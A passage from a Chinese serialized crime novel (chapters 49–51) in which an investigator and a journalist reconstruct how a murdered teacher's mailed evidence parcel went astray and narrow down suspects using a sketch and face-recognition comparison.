秦梓需比她淡定许多,她已经把嫌疑人接触母女俩的事和邹天说了,安抚地拍了拍章弥真抓着她手臂的手背,又和邹天讲了一下凶手乘坐的公交车的车牌号,让他去找一下硬币,随即挂断了电话。 “你别这么激动,指纹不一定能找到。”说着她伸出手掌示意道,“他可以在手指上涂上胶水,这样指纹就被遮蔽了。他抓塑料袋,可以用袖子垫着手掌去接触塑料袋,所以查到指纹掌纹的希望也比较渺茫。不过不论如何都要试一下,我让邹队去查了。” “这家伙这回都直接舞到咱跟前了,难道就这么让他跑了?”章弥真很不甘心。 “放心,抓到他是迟早的事,他已经露出足够多的破绽了。”秦梓需道。 “怎么说?”章弥真问。 秦梓需的双眸很亮:“目前为止,这个家伙的画像又增添了几笔。首先,他熟悉毒菌菇,熟悉河豚毒素,有本事制备河豚干粉猫粮,这说明什么?说明他精研毒理、药理、医理,可以说是生化专家。其次他深谙黑客技术,是计算机网络专家。第三,他擅长跟踪与反跟踪,熟悉地形侦查,熟悉伪装,有这种本事的基本是部队里的侦察兵和公安干警。第四,他工作相对自由,家庭没有束缚,使得他有大把的时间、空间来钻研犯罪。 “到目前为止,我们可以把你筛出来的学生名单再拿出来筛一遍了,看看这里面,谁最有可能符合画像。” 第49章 第四十九章 秦梓需和章弥真看监控一看就是一个下午,到了傍晚时分,耿剑秋、小宋准备来替班,秦梓需却告诉他们,已经没有再埋头看监控的必要了,她已经让邹天去查监控里的那对母女,还有公交上的那三个曾与凶手同乘的本地人了。 他们从机房里出来,恰好撞上在外走访了一整天的吉克、阿果回来了。于是六个人碰头,找了一间会议室坐下来交流发现。 吉克和阿果显得有些丧气,因为走访了一整天,几乎走遍了一整个镇子,他们也没有搞明白李芝华在2005年2月-8月间,到底有没有和杨莲接触过。 “可以肯定的是,2月到6月时,芝华姐一直是在县里住校上学的,没有回过家。”阿果道,“7、8月的时候,我记得芝华姐放暑假回家后,我还经常跟我哥去她家找她玩儿。不过我那会儿才8岁,记得不是很清楚了。 “说实在的,芝华姐是个很文静的女孩,她不常到镇子上,和镇子上其他人家的关系走得也不近。哪怕放假在家,也只是闷在屋里看书学习,特别的刻苦。只有在她帮着家里忙些农活,或者出门采买什么东西时,才能见着她出来。所以大家对她的印象不深,她去世也8年了,现在要大家去回忆05年时的事,实在是很难了。 “镇子上和芝华姐关系最好的,应该就是我哥了吧。毕竟他十来岁时对芝华姐特别的着迷,而且芝华姐也挺喜欢他的,放假在家的时候,也总是和他在一处。芝华姐初中的时候,就能教他职高的功课了,就是我哥太笨了,他学不进去。他俩注定不是一路人,后来芝华姐考出去了,我哥却只能开大车、当邮递员,两人疏远了,现在我哥娃都好几岁了,唉……” 说到这里,阿果颇为感慨,小时候她一度以为芝华姐会是她的未来嫂子。然而这人生境遇一旦分岔,可就真是云泥之别了。 “你记得李芝华常用一把花雨伞吗?”秦梓需问。此前她就这个问题给吉克发了个消息,不过吉克一直没回。 “花雨伞……是装点有水仙花花纹的淡蓝色雨伞吗?”阿果确认道。 “不确定。”当时沙马家的小男孩太害怕,匆匆一眼,压根没能记住花伞具体是什么样式的。秦梓需拿过一张纸,从自己随身携带的腰包里找出了一个文具盒,从里面找出一直蓝色彩铅,开始在纸上刷刷作画。 章弥真好奇地探头过来看,见她没有几笔就勾勒出一把蓝色水仙花花纹的雨伞,一时有些惊艳。 在秦梓需画画的过程中,阿果顾自回忆道:“芝华姐确实有一把很宝贝的花雨伞。是我哥送给她的。那把伞还是我帮着在县里商店挑的呢。山里下雨多,有时候隔着老远,看到山道尽头有个打着花雨伞走来的人,就知道是芝华姐了。” 秦梓需将画好的雨伞亮给阿果看,阿果有些惊讶,道: “对对对,就是这样一把伞。就是这个花样,是东南西北,像时钟整点这样排列的,是一个三折叠的伞。” 秦梓需根据她的描述修改图样,顺便问道: “这把伞她是不是一直用到大学毕业?” “好像是的吧,我也不是很确定。我隐约记得,芝华姐大二大三暑假回来时,还打过那把伞。”阿果回忆道。 “看来,我们是得再找你哥哥聊聊了。”秦梓需道。 “那要不我跟家里说一声,今晚上请大家到家里吃饭去。”阿果很热情。 秦梓需本想推辞,章弥真倒是一口答应下来,笑呵呵道: “咱也尝尝本地的农家饭嘛。” 秦梓需心想查案至此,紧急的事项都已查完了,剩下的事都是急不得的事。自从回到药山镇,连轴转了两天,大家伙也都很累了。能去沙马家吃吃饭,随意聊聊天,在那种轻松的氛围下,也许能问到更多的信息也说不定。 于是她就点头同意了。 众人于是从派出所出发,吉克去开车,刚准备上车离开,就见派出所所长带着一大帮警员回来了。 秦梓需让吉克等一下,自己下车去和所长打招呼。 “秦老师!我正要找您呢。”所长的神情看上去有几分喜悦,又有几分隐忧,略显复杂,“我们对镇子上居民的排查基本结束了。可以肯定的是,李家的事和镇子上的居民无关。” “哦?”秦梓需其实并不意外,但这块悬着的石头总算落地,让纷乱的案情变得更清晰,也让她压力稍减。 “首先是脚印,都一一对上了,当晚到李家帮忙的人,每个人的行踪轨迹我们都搞得一清二楚了。此外我们还挨家挨户做了排查,镇子上所有在户人员的行踪都很清晰,当晚出发离开镇子的镇民,也都联系上了,都排除了作案的可能性。”所长显得底气十足,这案子不是镇子的人做的,让他内心安定了不少。 “那流窜犯作案的可能性呢?”秦梓需问。 “流窜犯也得坐交通工具呢,对吧。当天晚上交通条件那么恶劣,进出就那几条路,不管是躲在镇子里的,还是逃出去的,肯定都已经被查到了。情况我跟邹队报告过了,本地排查结束,剩下的就是外地追踪了,这就实在是超出咱们镇派出所的职权了。不过依我看,秦老师,这个案子看来基本可以归到你们旧案的范围里去了。”所长道。 “是,辛苦你们了。”秦梓需客气道。 所长连连摆手:“不不不,秦老师,我真的由衷希望你们尽快把案子查明白,我们有什么忙都会帮的。咱们这个镇子,在这山沟沟里,虽然落后但也与世无争。这些年大家的日子也好了不少,基础设施都建起来了,过去那种争夺资源的事就更不存在了,哪儿能闹纠纷到要杀要剐的地步?都是乡里乡亲的,如今我看着李家人……就这样家破人亡了,我这心里也不好受啊。” “您放心,我们一定尽快查明白。”秦梓需喉头动了动,承诺道。如果不是凶手一直未被抓到,事态也不会发展到今天这一步。现在这个凶手造成的连环恶果还在不断叠加,秦梓需内心焦灼,压力也越来越大。 但她从来都是个极能抗压的人,凶手越来越疯狂,胆敢跟在她们屁股后面犯案,就说明他被逼到狗急跳墙,不得不行动的地步了。道理很简单,世上没有不犯错的人,也没有完美犯罪。多做多错,不做不错,他做的越多,就越容易露出破绽。 这种情况下,秦梓需知道自己反而越应该沉着冷静,去发觉那些隐藏在纷繁线索背后的关键翻盘点。 辞别了所长,她回到车上,吉克驾车,带着一行人去了沙马家。 沙马家热情接待了她们,他们把过年聚会用的大餐桌都搬了出来,在大堂里设宴,家里所有劳动力齐上阵,一起下厨房,好酒好菜很快就上了桌。 搞得如此隆重,就连章弥真都觉得有点不好意思了。她本来只是想蹭一顿便饭,现在却被捧上了贵宾席。 不过,对沙马家来说,秦梓需这批人是外来的公安领导,他们家现在有阿果这么个实习警察,如果能得到领导赏识提拔,这顿饭的开支也就不算什么了。 餐桌上,秦梓需等人没有谈案子,沙马家的人问起李家的事,也被她几句话简单带过了,后来话题就扯到了其他地方去。因为有耿剑秋、吉克、小宋在,这仨男人帮着秦梓需和章弥真挡了不少酒。饶是如此,秦梓需、章弥真还是盛情难却,喝了不少。 酒过三巡,菜过五味,话题不知何时扯到了吉克跟阿果身上,大人们都在催婚,吉克和阿果被逗得面红耳赤。 秦梓需发觉沙马家的小男孩已经吃饱溜走了,她于是寻了个空档,也借口上厕所,离席,在院子里捉住了沙马家的小男孩,把画着花雨伞的图给他看。小男孩点头道: “对,那把伞就是长这样的。” 秦梓需笑了笑,收起了画纸。 “警察姐姐,那不是闹鬼吧?”小男孩心有余悸地确认道。 秦梓需想了想,回道:“不是闹鬼,这世界上是没有鬼的。但是有些人啊,不想好好做人,偏要做鬼,这种人你以后要是遇见了,一定离得远远的。” “哦……”小男孩听得迷迷糊糊的。 秦梓需回到大堂,发现章弥真不知何时也离席了。她于是去堂屋附近找,在侧边的耳房里找到了章弥真。她正背对着秦梓需打电话,好像是工作电话,这通电话惹得她情绪不是很好,似乎一直是强压着怒火在说话。 秦梓需到门口时,她这通电话已经接近尾声了。电话挂断后,章弥真就开始埋头在手机上打字。可不一会儿她就很是闷气地叹息了一声,突然回身往外。 结果就一眼看到秦梓需站在外面,章弥真明显吓了一跳,没好气地道: “你属猫的吗?都不出声的。” “我不是故意要偷听你打电话的……”秦梓需忙解释。 “听见了也没啥,工作电话。”章弥真有气无力地道,“对了老秦,你有充电宝吗?我手机又没电了。” “嗯,有。”秦梓需从自己的腰包里取出充电宝,递给章弥真。 章弥真得救似的连忙充上电,然后继续在手机上打字。 “写稿子?什么工作这么着急?”秦梓需问。 章弥真一边打字,一边一心二用飞快吐槽道:“哎呀,我们组和罗大嘴组一起负责搞经济金融板块的一些分析报告,罗大嘴他们组搞数据,写分析,我们负责做可视化图表。这罗大嘴不是第一回搞错数据了,这一回可严重了,他居然能把数字看错了,整个文章得出的结论和同行完全不一致。惹得主编大怒,连带着我们组也跟着遭殃了。现在,写报告的事落到了我们组头上了。我组里的孩子没有写这个的经验,一个个都害怕得要死,只能我来了。电脑也不在手边,我只能先用手机写。” “可真不容易……”秦梓需感叹。 随即二人安静了下来,只剩下章弥真手指在屏幕上噼噼啪啪按动的声响。 “你刚才说看错了数字?”秦梓需突然问道。 “嗯,是啊。”章弥真无意识地应道。 秦梓需突然起身,走了出去。章弥真见她突然一声不吭起身离去,懵了,随即也跟着起来,喊了声: “诶?你去哪儿?” 秦梓需却不理她,她走到餐桌边阿木的身后,拍了拍他,随即指了指屋外,示意他有事儿单独要谈。 此时餐桌边的人离席的离席,没离席的都喝得晕乎乎的,没人注意到她跟阿木之间的互动。 阿木有些茫然地跟着她走出了堂屋,他一身酒气,也喝了不少。秦梓需问道: “2005年的9月份,你已经在做邮递员了,是吧?” “嗯……是啊,怎么了?”阿木迷惑。 “在你接手邮递员的工作后,你有给李家派送过什么包裹吗?就在9月份之后不久。”秦梓需问。 阿木立在原地,因酒醉脚步虚浮,身子微微地摇晃。他望着天空,努力回想。半晌,他好像想起来了,眸中的醉意褪去,他应道: “嗯,我给他家送过一个包裹。” “什么时候的事?” “十一国庆节,那年芝华她……李芝华她难得回来了,我把包裹亲自交到了她手里。” “你肯定吗?”秦梓需确认。 “肯定,因为那天我……我不止送她了包裹,我还……借这个由头跟她表白了。但、但我被拒绝了。”阿木黯然神伤,一副要哭出来的模样,这么多年过去来,李芝华仍然在他心中。 秦梓需有些唏嘘,但她还是继续问道: “你还记得包裹是谁寄的,收件地址到底是不是李家?” 阿木摇头道:“不不不,那个包裹有点特殊。那是一个退回的平邮包裹,寄件人没有署名,只有一个寄件地址,就是李家的地址。收件地址写的是一个黑龙江漠河的地址,但那个地址是个不存在的地址,所以投递失败了,包裹被原路退回。我就把包裹直接送回给了李家。” “好,现在请你仔细回忆一下,寄件地址上到底写的是1幢,还是7幢?”秦梓需锐利的目光穿透夜幕,刺入阿木的眸中。 阿木怔愣当场。 第50章 第五十章 秦梓需见阿木这个状态,怕他喝得晕乎乎的,没能理解自己的问题,她又重复了一遍自己的问题: “寄件地址写的是1幢还是7幢?你有没有看错?” 她在重复这个问题时,恰好章弥真也过来了,听到这个问题,章弥真也愣住了。 阿木似是有些口干舌燥,他皱着眉头努力回忆,支吾着回答道:“应该是……药山镇荞麦地村3组1幢。” “什么叫应该是?你确定?阿木,我提醒你,你现在回答我的这个问题,是要负法律责任的,你仔细想好再说。”秦梓需的语气越发严厉。 “我……我不记得了,这么多年过去了,我不可能记得那么清楚。我印象中是1幢,我没送错。”阿木的额头上有冷汗渗出。 秦梓需改换提问策略,道:“李芝华收到包裹时,是什么反应,她确实有寄出这个包裹吗?” “她啥也没说,可能她以为是父母亲寄出的,所以只是收下了。”阿木回道。 “这个包裹是什么时候寄出的?” 阿木掰着手指计算道:“包裹应该是7月底从药山这里寄出的,因为单纯算一算05年当时的寄件速度,从药山送到黑龙江漠河需要2-3周时间,漠河是个小城镇,邮递人手也不足。在当地投递失败滞留会耽搁7-10天,才会进入退回环节。从漠河返回云南,重新分拣要耗时5-7天,然后再从漠河送回来又需要3周左右,总体算下来,需要2个月的时间。 “这个包裹可能是9月底到了县局,因为老周受伤,包裹在县局多滞留了一段时间,一直是等到我接手,才从县局运回那一批包裹,并退回。所以时间就到了十月了。” 阿木的业务能力还是有的,当了这么多年的邮递员,现在又自己干快递,对行业内的情况门清。 “现在还能找到那个包裹的寄送记录吗?”秦梓需问。 “肯定找不到了,平邮包裹本来就不留档。但可以肯定的是,这个包裹一定是老周经手寄出的。按道理讲,平邮包裹也是要写清楚寄件人的,不写寄件人姓名不合规。但老周如果给人开后门,也就寄出去了。”阿木道。 “你确定你真的不记得了吗?” 阿木显得有些沮丧:“我真的不能确定。也许,我当时满脑子想着她,把7幢看成了1幢,也有可能。领导,我是犯了什么大错了吗?” “你可能犯错了,但…不要太挂在心上。”秦梓需的声线温柔了下来,拍了拍阿木的手臂。 “我…我想知道这件事和她的去世有关系吗?”阿木不死心地追问。 “和某个案件有关系,但和她的去世没有关系。”秦梓需神色定定地回道。 大概是喝多了,又大概是再次想起了过去的岁月,想起了那些青涩的情感与未能修成正果的不甘,阿木有些情绪失控。他哽咽道: “我那时候刚当上邮递员,以为自己终于回乡了,好歹有个稳定的工作,虽然是穷光蛋一个,但有资格跟她表白了。我想着只要她点头答应,我就好好奋斗,攒足够的钱。等她到年纪了,我就和她结婚。那时候她已经上了县里的重点高中,我真的害怕她彻底飞走了,我再也追不上她了。 “但…命里有时终须有,命里无时难强求。没在一起就没在一起吧,我想着她如果能发光发热,去大城市干大事,成为咱镇子最出色的孩子,我也跟着沾光啊。可她为什么就这么走了湳枫,我真的接受不了。 “她走得那年,我儿子刚出生,这一生一死,我真的……觉得命运挺残酷的。” 秦梓需轻轻叹了口气,缓声问道:“你是青竹坳中学的毕业生吗?” “是。”阿木有些难堪的扭过去身,用手揉眼睛。 “杨莲老师是你的老师?” “嗯,她是我语文老师。你们怎么知道的?”阿木很诧异。 “警察什么不知道?听你的谈吐,感觉你语文学得不错,是不是还爱看点文学书?也是个文艺青年?”秦梓需淡淡笑问。 阿木这下真叫一个哭笑不得,嗫嚅半晌道:“杨老师教得好。我进职高后,再也遇不到她那样的老师了。我爱看书,是她培养的。” “阿木,好好过日子比什么都强。过去的那些事,别太放在心上。人总归还是要往前看的。”秦梓需安慰道。 “老秦。”章弥真在屋子内喊了秦梓需一声。 秦梓需看向她,会意,再次拍了拍阿木的后背,然后转身进了屋。 章弥真逮住秦梓需就一通问,她没听到上半截对话,对看错1幢和7幢的这个问题一头雾水。秦梓需向她做了解释,章弥真只感觉全身都起鸡皮疙瘩: “难不成真是送错了?可…为什么杨莲会把那么重要的档案文件盒,寄给漠河?她在漠河有什么关系人吗?” “显然是没有的。杨莲真的是聪明,而且足够浪漫。”秦梓需感叹道。 “啥意思啊?”章弥真挠头。 秦梓需启发式提问道:“你带入一下杨莲,假如你在胥城调查期间,查到了凶手,尽你可能搜罗了关于他犯罪的证据,并且不小心惊动了凶手,让他注意到了你。你会如何保护你搜罗到的物证?” “你说她惊动了凶手?!”章弥真大吃一惊。 “显然是的,凶手一早就盯上她了,且筹谋做掉她也很久了。这一点从凶手准备充足可以看出来。杨莲可能本来也没想要主动献身,以死拖凶手下水,在她意识到凶手盯上自己后,才萌生了这个想法。她可能是想做一个实验,看凶手到底会不会对自己下杀手。不论凶手怎么选,都有后手等着他。 “她面临的难题是自己的后事到底该交给谁。对于她这样一个孤僻的,很难和人交心的人来说,实在太难找到合适托付的人。在她的交际网之中,药山镇的人显然是首选,她在这里许多年,知道这镇子上的人的秉性。 “我想她的首选应该还是老校长夫妇,那是她所信赖的长辈,人品贵重,值得托付。但她显然不希望给他们带来危险。至少,她要安排一个空档期,让证物在外面兜一圈,再以一种意想不到的方式送到老校长手里。如此,凶手就很难搞明白物证到底到谁手里了。 “哦!我明白了。”章弥真恍然大悟,“她选择把证物寄出去,而且是寄到了最远的漠河去,写了一个假地址,这样包裹就会被原路退回,中间一下子两个月的空档期就有了,且还能最大限度地保证证物在一个安全的环境中。” “她很信任中国的邮政系统,甚至完全不怕包裹丢失了。毕竟这么多年她和陈老师书信、包裹往来不绝,从未出过差错。所以,我说她很浪漫,她是个理想主义者。”秦梓需道,“她写的寄件地址应该是老校长家的地址,也就是药山镇荞麦地村3组7幢,但也许是书写时写得不够清晰,7被混淆成了1。 “这件事目前还是个猜测,得去找老周才能确认。我认为杨莲应该是算好了时间的,她认定这个包裹一定能在10月老周退休前回到药山,由老周亲手送到老校长手里。 “对杨莲来说,她最信任的人莫过于老校长,其次就是老周了。她在寄出这个包裹时,没有署名,显然是专门给老周留了叮嘱。我猜她应该是告诉老周,让他帮忙试着寄出这个包裹,如果之后退回了,就务必送回到老校长家。 “老周干了一辈子邮递员,再加上他和杨莲深厚的关系,这样特殊的包裹在他手里绝不会出差错。可偏偏就在9月时,老周突然骑摩托出了事故,住院了。他的工作由一个业务还不精熟的毛头小伙子阿木接手了。而阿木当时满脑子都是他心爱的女孩李芝华,然后这个包裹就被错送到了1幢李家,被李芝华拿到手了。 “小姑娘当时可能完全没意识到这是一个寄错了的包裹,拆开看后,读到了杨莲的信件和笔记,难以想象当时小姑娘到底是怎样的心态,她一定以为自己是被老师选中的托付对象,她一定又害怕,又难过,又想要帮助老师完成遗愿的。 “大概能猜出这个包裹确确实实就在她手里保存了许多年,直至后来,不知因何原因被凶手察觉,她因此遭遇不测。如今凶手还害了她的父母,千方百计要找到证物。只是凶手怎么也没想到,证物被李芝华在遇害前给到了老校长,最后被老校长存到了银行保险柜里。” 秦梓需的分析到此,章弥真已然是满心震撼。这是怎样一场曲折离奇的证物接力啊!杨莲的遗物简直就像是乘坐了一艘漂流的帆船,兜兜转转一大圈,最后才回道她心目中的托付之人手里。 “可……我仍然不明白为什么杨莲不让报警。我认为如果当初她及时把证物交给警察,也就没那么多事了。”章弥真摇头道。 秦梓需道:“显然,交给警察是没有用的。首先,杨莲手里的证物并不足以让凶手定罪。其次,当时的杨莲已经被盯上了,她必须想办法保留这些仅有的证物。她不可能没考虑过给警察,之所以不给,显然是因为证物有丢失的风险,她比我们更了解凶手,知晓凶手有能力销毁证物。” “你的意思是……警察中有凶手的同伙?”章弥真挑眉。 秦梓需摇头:“不,你这个猜想太跳跃了。注意这里面有一个猜疑链逻辑,杨莲在笔记的最后写‘当你看到这行字时,如果没有听到我的死讯,那么请不要报警’,这个逻辑是什么意思? “就是说在杨莲预想的情况下,如果9月底包裹回到药山时,药山镇完全没有收到她的死讯,且她也没有活着回到药山镇,就意味着她的死亡信息完全被凶手处理掉了。同时,也意味着警察完全失去了调查凶手的能力,因为警察未能找到杨莲的尸体,也未能溯源到药山镇进行调查。 “那么这个时候将这些证据力完全不足的证物交出来,不仅不能锁定和缉拿凶手,反倒会因为交出证物,促使警方的大动作而暴露老校长自身,使老校长自己陷入不安全的境地中。 “她相信凶手有能力快速感知到警方的动向,在警方犹犹豫豫、慢吞吞调查的时候,他就能快速锁定到老校长身上,杀死他并伪装成无人能怀疑的意外,同时将证物拿到手、摧毁,到时候就是满盘皆输。 “所以她甚至不要求老校长为自己报仇,她让老校长销毁掉证物,如此摆脱掉危险,彻底置身事外。可以想见当杨莲写下这行字时,她应该是预想到了最坏的状况。” 章弥真点头,她总算是理解不报警的心态了,不过在她自己内心深处,她觉得如果换了她自己,她会选择呈递证物,她的原则是绝对不向罪恶屈服。 她道:“不过老校长没有销毁证物,他应该比杨莲多想了一步。他想要保存一个火种,同时也让凶手找不到证物。在这一点上,他应该是有信心的,因为他知道杨莲的遗物到他手里的过程很曲折,凶手一定搞不清楚到底发生了什么。” “是,但可惜的是,他年纪大了,杨莲的事终究对他造成了极大的心理压力,最后诱发了心肌梗死。”秦梓需道。 章弥真深吸一口气,道:“所以,咱们什么时候去昆明?毕竟刚才咱们聊了这么多,都是推测。” 秦梓需道:“再等一两天,看王永荷会不会醒来,我想知道当时到底发生了什么。如果到了明后天她还是醒不来,我们就不耽误时间了,直接去昆明。”【你现在阅读的是 】 50-60 第51章 第五十一章 不知不觉,调查组在药山镇也待了有一周半的时间了。章弥真觉得自己这段时间过得实在过于梦幻,以至于终于有空闲坐下来复盘时,都会觉得每件事都透着一股不真实的意味。 晚上在条件简陋的宾馆房间里,已经洗完澡的章弥真戴着发箍和眼镜,坐在笔记本前。浴室里响着秦梓需哗啦啦洗澡的水声,章弥真塞着耳机听自己喜欢的音乐,专注心神敲击键盘。 她正将这些日子的调查经历形成记述文章,这些工作在忙碌时是几乎做不了的,她只能利用碎片化时间在手机记事本上散碎记录一些她认为十分关键的事。如今空闲下来,她才有时间整理形成文章。 她写得太过专注,以至于浴室的水声停了,她完全没在意。洗完澡的秦梓需出来了,她用毛巾擦着湿漉漉的短发,走出来就看到章弥真正在电脑前飞快敲击键盘。 她有些好奇,但出于礼貌,还是出声喊了她一声: “弥真,你写什么呢?” 然而章弥真没听到,她一点反应都没有。 秦梓需走了过去,瞄了一眼屏幕,看到她正在敲下一段文字:【这个世界就是一个混沌系统,洪流中的人就像一个个微末的分子,以为自己做着循规蹈矩的运动,短暂的一生中将遂愿而行,有始有终。殊不知早已被一整个混沌系统推入无法预测的未来,也许某一日,人生将彻底翻转,面目全非……】 嗯,一如既往的章氏文笔,发人深思。秦梓需瞄了一眼文档左下角的字数,好家伙,居然都写了五万多字了。 “你这是要写书啊?”她禁不住出声问。 这下章弥真终于听到动静了,她忙回头摘下耳机,看到秦梓需就站在身后,她倒也没怪罪秦梓需,大大方方道: “我确实想把这一次的经历写成一本书,中长篇的报告文学。到时候可以弄一个专栏刊载,也能单独成册出版。” “那看来我得更努力点了。”秦梓需道。 “嗯?你努力啥,又不是你写。”章弥真不解。 “我得早日破案啊,不然你怎么出书,我得对得起你的劳动,是吧。”秦梓需笑着坐到了床边。 “哈哈,没错,你不破案我怎么出书,我都不好意思把文章拿出来给人看。加油啊,老秦!”章弥真开玩笑道。 “诶……可惜啊,暂时卡住了。”秦梓需叹息。 章弥真闻言,沉吟问道:“算算时间,王永荷自从出事,已经昏迷了好多天了吧,她要是醒不过来,是不是真的脑子出问题了?” “刚才你洗澡时,我和邹天通了一次视讯,他说能查的都差不多查完了,接下来预备安排转运,把王永荷送去昆明的大医院去看病。镇子上的医院毕竟条件不够。”秦梓需呈大字状躺倒在床上,道。 章弥真点头:“我觉得是应该这样,我们也跟着一起去,正好也就到昆明找老周了。” 秦梓需道:“是啊,老周也是个老大难,他瘫痪很久,糊涂到连话都说不清楚了,估计想问他当年的事,得撞大运。如果不能从他那里得到口证,我们的猜测永远也只是猜测,不能成立。” 章弥真叹了口气,随即转换话题,问道:“邹天那里调查的怎么样了?” “哦,之前咱们送过去检测的从程翠芬那里拿到的塑料袋和蘑菇的检测结果出来了,塑料袋上有几组指纹,属于程翠芬、王永荷还有安家超市店员。袋子里没有检测到褐鳞环柄菇残留的痕迹,而程翠芬提供的蘑菇,确实是无毒的普通环柄菇。凶手很有可能是带着手套,在王永荷将蘑菇从塑料袋里取出来后,寻机掉包了蘑菇,没有留下痕迹。 “可以推测的是,那天程翠芬在山上采蘑菇,凶手很可能全程都跟在她后面,并制定了毒蘑菇犯罪的计划。他多次潜入了李家,做了好几件事,一是对三轮车的刹车动了手脚,二是掉包蘑菇,三是装神弄鬼吓唬中毒的老两口。 “此外,那根从山洞里找到的毛发,也确实是假发,而且是羊毛制成的劣质假发,溯源几乎没有可能。” 章弥真摊手:“也就是说,又没线索了?公交车硬币呢?那车站监控里的那对母女呢?” 秦梓需回道:“公交车硬币查了,硬币上面都沾有指纹,很难判断到底哪个是凶手投进去的,就算找到了也不能说那个指纹就是凶手的。只能全部提取进行入库比对。这方面,估计没戏。司机和那三个男乘客也都找到了,他们虽然都对那个黑衣男子有印象,但要让他们描述外貌,他们又说不出来。 “至于那对母女,也找到了,但是那个装苹果的塑料袋已经丢了,找不回来了。那个抱孩子、帮她们提东西的男的确实不是她们的同行人,就是车站里碰上的,主动帮助她们。 “那个母亲说,那个男子很温柔,说话特别客气,长相也挺俊的,她当时一个人带着孩子,拖着行李,累得很,一时间没能拒绝。当时确实是防备心不足,现在警察找上她,她才后知后觉,意识到那男的是个坏人。 “邹天已经让画像师根据她的口述绘制了画像。” 说着,秦梓需坐起身来,抓过自己的手机,从里面调出了一张画像,递给章弥真看。 画像上是个短毛寸男子,不戴眼镜,五官端正英俊,唇边一圈略略带点胡茬,面庞瘦削且棱角分明,瞧上去确实很帅,是个对女性相当有吸引力的男性。 可章弥真左看右看,都不能把他跟曾经和自己一起读书上学的任何一位男同学对应上。 “这谁啊,你认识吗?”她问秦梓需。 “不认识,至少我印象里从没见过这个人。所以我才说,又卡住了。”秦梓需摇头道。 “是画像师画得不对吗?还是说,是我们搞错了,凶手真的不是我们当年的同学?”章弥真突然没信心了。 “还有一种可能,凶手的容貌变化极大,以至于我们认不出了。”秦梓需道。 “整容?”章弥真挑眉。 “不一定是整容,一个人要彻底改变样貌,完全可以通过化妆来实现。人的记忆其实准确度堪忧,越是久远的记忆越是模糊不清晰。你想想看,凶手犯第一案时只是个15岁的青少年,那时候容貌其实还没有完全定型。我们印象中的他,并不一定成年后就长那样。” 秦梓需捋了一下半干的短发,继续道:“人的样貌,在不同的年龄段都不同。男性的变化相较于女性会更为明显,15岁时男性可能下颌骨都尚未彻底发育完全,一旦青春期发育成熟,男性的下颌骨会突出,颧骨和眉骨的骨量增加,面部立体感增强,轮廓更硬朗。 “凶手并不是个胖子,他如今的面部轮廓相较于过去,一定是皮下脂肪减少,尤其是脸颊和下巴周围,线条更清晰。咬肌因骨骼生长和咀嚼力增强而增厚,颧骨下方肌肉更明显。 “眉毛、胡须的生长也会对面部轮廓的印象造成影响。” 章弥真抿了抿唇,道:“可总该有点过去的影子吧,不能完全变成另外一个人呀。” “这样,我这里有当时毕业时全年级所有男生的照片,而且是高清放大版的单人照。咱们就干脆下个苦功夫,一一比对一下。”秦梓需说着就站起身,把自己的平板拿了过来。 章弥真凑到她身边,两人看着平板上的照片一一划过,有些明显不是的很快略过,被挑出来疑似可能的人则被单独记录下来。 不得不说,在识别面孔这方面,秦梓需绝对是专家。毕竟她是公安部画像专家张鑫的博士生,专门研究的就是面部识别。这门学问不仅仅是要研究人体面部构造,更涉及到心理学、社会学、地域民俗学等方方面面的综合知识,非常考验综合能力。 秦梓需在绘画这方面的天赋不高,即便经过专业训练,能力也很难企及她师傅的水准。但她的数理和技术能力很强,为了能让张鑫这种神探的能力被普及使用,她耗费了极大的心力开发了一款面部识别AI系统,这个系统大概能发挥出张鑫警官七八成的面部塑形和识别能力。这个系统的前身就是她的博士论文课题。 秦梓需将挑出来的几个人丢到面部识别系统里,与那张本地画像师绘制的画像进行比对。系统跑了一会儿,最后给出了匹配失败的结果。 “这……”章弥真迷茫了,难道她们真的查错了吗? 秦梓需却盯着那张画像道: “先别太气馁,这张画像不一定是准确的,所以匹配不上在预料之中。这几个人咱们也不白挑,拉一下清单,看一下这些人的背景,有谁涉及到生物医药、化工行业,并且自身具备专业的计算机技术。” 说着就把这几个人的背景都查了一遍,很快排除掉了绝大多数人,只剩下一个人。 “啊?邵彦华?不会是他吧。”章弥真感到很愕然。 “他是你们班的吧。”秦梓需道。 “对,可他毫无存在感,而且成绩很一般,我印象里他就一直戴个眼镜,沉默寡言,个子也不高。他和魏嘉康关系还不错,算是魏嘉康的小跟班。我印象中可能也就一米七出点头,根本和凶手的身高不符。”章弥真回忆道。 秦梓需道:“初三体检报告上说他身高173,嗯,不过初三身高超过175这个数据是靠鞋印推算出来的,并不一定就准确,身高测算也存在标尺误差,这都在合理的误差范围内。” “不,老秦,你听我说。我印象里,他压根就没对陈老师表现出任何热情,他数学成绩真的很差。不仅是数学,其他学科也都不咋地。”章弥真连连摇头。 “不要太相信你的记忆,弥真,记忆会被偏见篡改的。虽然你记忆力出众,但也不能免俗。”秦梓需提醒道。 章弥真抿唇,她没被说服。 秦梓需调出了邵彦华的资料,但她有些意外地发现,邵彦华的资料从高中后就没有了。 “咦?这个人好像出国定居了。这上面写的,中考考上了师范附中,未参加高考,高三毕业后直接移民去了美国。”秦梓需蹙眉道。 “不是吧,他成绩那么差居然能考上师范附中?!而且他们家这么有钱的吗?能直接移民美国那可得花大价钱。”章弥真很吃惊。 师范附中的前身是胥城中学被拆分出来的高中部,这可是胥城最好的高中,和秦梓需所上的一中并称为胥城双子星。 秦梓需在公安系统里仔细查了一番,最后道:“他高三出国后好像就没有回来过,没查到出入境记录,而且他好像已经放弃中国国籍了,国内的户口也都销户了。” “可疑……确实很可疑,但又不可疑。”章弥真捏着自己的下巴,说些矛盾的话,“说可疑,那就是这个人离开中国之决绝,简直就像是罪犯逃出去躲罪似的。说不可疑,是因为他真的很难符合凶手的画像,没有出入境记录他该怎么犯下后续的事?” “你刚才说他和魏嘉康关系好?”秦梓需问。 “对,其实不大能说是关系好,他们在我看来不大像是朋友,更像是老大和跟班的感觉。魏嘉康这人挺拽的,仗着家里有钱,不把班里人放在眼里。”章弥真撇了撇嘴角道。 秦梓需找出魏嘉康的资料。此人高中上了胥高,大学上的是东海大学计算机工程系。学历:本科。职业:软件工程师,供职于一家名叫华新高科的公司。其父是医生,其母是一家药企的医药代表。 有医药背景、自己本身还是软件工程师,符合凶手画像,但此人的作案可能性已经被排除,因为在抛颅案发生时,他已经在大学报道并参与军训了,当时并未离开过大学。 秦梓需又比对了一下魏嘉康的照片,此人的面部特征与画像有显著差异,因为魏嘉康是个偏胖的人,圆脸,面部轮廓、眼型、嘴型都有着显著差异,除非他后来做了大规模的整容手术,否则不可能会是画像上的样子。 